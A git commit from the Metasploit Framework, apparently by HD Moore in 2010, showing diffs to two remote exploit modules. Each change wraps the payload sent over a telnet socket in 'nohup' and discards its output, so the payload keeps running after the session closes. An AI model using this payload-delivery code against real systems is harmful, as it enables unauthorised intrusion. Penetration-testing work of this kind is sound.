Use nohup to prevent the telnet session close from killing the command

git-svn-id: file:///home/svn/framework3/trunk@8082 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-01-07 00:10:03 +00:00
parent 8399ff46b2
commit b1f79c6342
2 changed files with 40 additions and 37 deletions

View File

@ -102,10 +102,12 @@ class Metasploit3 < Msf::Exploit::Remote
sock.get_once
sleep(0.25)
sock.put(payload.encoded + "\n")
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
sleep(0.25)
handler
end
end

View File

@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
sleep(0.25)
sock.get_once
sock.put(payload.encoded + "\n")
sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
sleep(0.25)
@ -107,3 +107,4 @@ class Metasploit3 < Msf::Exploit::Remote
end
end